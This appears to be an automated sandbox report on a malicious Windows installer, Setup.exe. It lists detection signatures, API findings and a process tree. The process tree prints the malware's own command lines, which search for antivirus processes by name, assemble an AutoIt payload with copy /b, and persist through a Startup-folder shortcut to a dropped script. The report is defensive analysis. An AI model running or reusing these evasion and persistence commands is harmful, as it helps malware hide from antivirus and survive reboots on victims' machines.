Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1500125
MD5:	0323967594788684ded929f83f6d9f23
SHA1:	538d6f53242c1a68820f9b5e86a76897c6981717
SHA256:	b25258b4956eb18431a014b71987efa95a9c4b8395057c1e4ef3cbb081a662a6
Tags:	exe
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Setup.exe (PID: 7144 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 0323967594788684DED929F83F6D9F23)

cmd.exe (PID: 6380 cmdline: "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4500 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3428 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3684 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5800 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6156 cmdline: cmd /c md 412421 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 5016 cmdline: findstr /V "uncertaintycompetitionsadvertisingorganisation" Marie MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6900 cmdline: cmd /c copy /b ..\Participated + ..\Corner + ..\Domestic + ..\Disposition + ..\Diagnostic + ..\Options + ..\Mrs M MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Linux.pif (PID: 3992 cmdline: Linux.pif M MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cmd.exe (PID: 2700 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & echo URL="C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 5808 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 1508 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

ScribeSync.pif (PID: 3488 cmdline: "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif" "C:\Users\user\AppData\Local\ScribeSoft Systems\w" MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cleanup

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , ProcessId: 1508, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Linux.pif M, CommandLine: Linux.pif M, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\412421\Linux.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\412421\Linux.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\412421\Linux.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6380, ParentProcessName: cmd.exe, ProcessCommandLine: Linux.pif M, ProcessId: 3992, ProcessName: Linux.pif

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" , ProcessId: 1508, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 2700, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6380, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 5800, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 83.4% probability

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B98 FindFirstFileW,FindClose,	0_2_00405B98
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406559 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406559
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004029F1 FindFirstFileW,	0_2_004029F1
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00344005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00344005
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_0034494A
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0034FA36
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00343CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00343CE2
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0034C2FF
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034CD14 FindFirstFileW,FindClose,	10_2_0034CD14
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0034CD9F
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0034F5D8
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0034F735
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00424005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_00424005
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042494A GetFileAttributesW,FindFirstFileW,FindClose,	15_2_0042494A
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_0042FA36
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_0042C2FF
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042CD14 FindFirstFileW,FindClose,	15_2_0042CD14
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	15_2_0042CD9F
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_0042F5D8
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_0042F735
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00423CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_00423CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\412421	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\412421\	Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_003529BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

10_2_003529BA

Source: global traffic

DNS traffic detected: DNS query: BkByEfukMORgCb.BkByEfukMORgCb

Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Setup.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Setup.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Setup.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Setup.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Setup.exe, 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmp, Linux.pif, 0000000A.00000000.1698620856.00000000003A9000.00000002.00000001.01000000.00000005.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, ScribeSync.pif, 0000000F.00000002.2922325608.0000000000489000.00000002.00000001.01000000.00000009.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Setup.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Setup.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: ScribeSync.pif.10.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00404BB4 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404BB4

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00354830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		10_2_00354830
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00434830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		15_2_00434830

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00354632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_00354632

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00340508 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

10_2_00340508

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0036D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		10_2_0036D164
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0044D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		15_2_0044D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00344254: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00344254

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00338F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00338F2E

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00403415 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,	0_2_00403415
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00345778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	10_2_00345778
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00425778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	15_2_00425778

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040447D	0_2_0040447D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040680A	0_2_0040680A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406E34	0_2_00406E34
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002EB020	10_2_002EB020
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002E94E0	10_2_002E94E0
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002E9C80	10_2_002E9C80
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003023F5	10_2_003023F5
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00368400	10_2_00368400
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00316502	10_2_00316502
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0031265E	10_2_0031265E
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002EE6F0	10_2_002EE6F0
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030282A	10_2_0030282A
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003189BF	10_2_003189BF
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00360A3A	10_2_00360A3A
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00316A74	10_2_00316A74
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002F0BE0	10_2_002F0BE0
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030CD51	10_2_0030CD51
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0033EDB2	10_2_0033EDB2
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00348E44	10_2_00348E44
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00360EB7	10_2_00360EB7
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00316FE6	10_2_00316FE6
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002E32C2	10_2_002E32C2
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003033B7	10_2_003033B7
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030F409	10_2_0030F409
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002FD45D	10_2_002FD45D
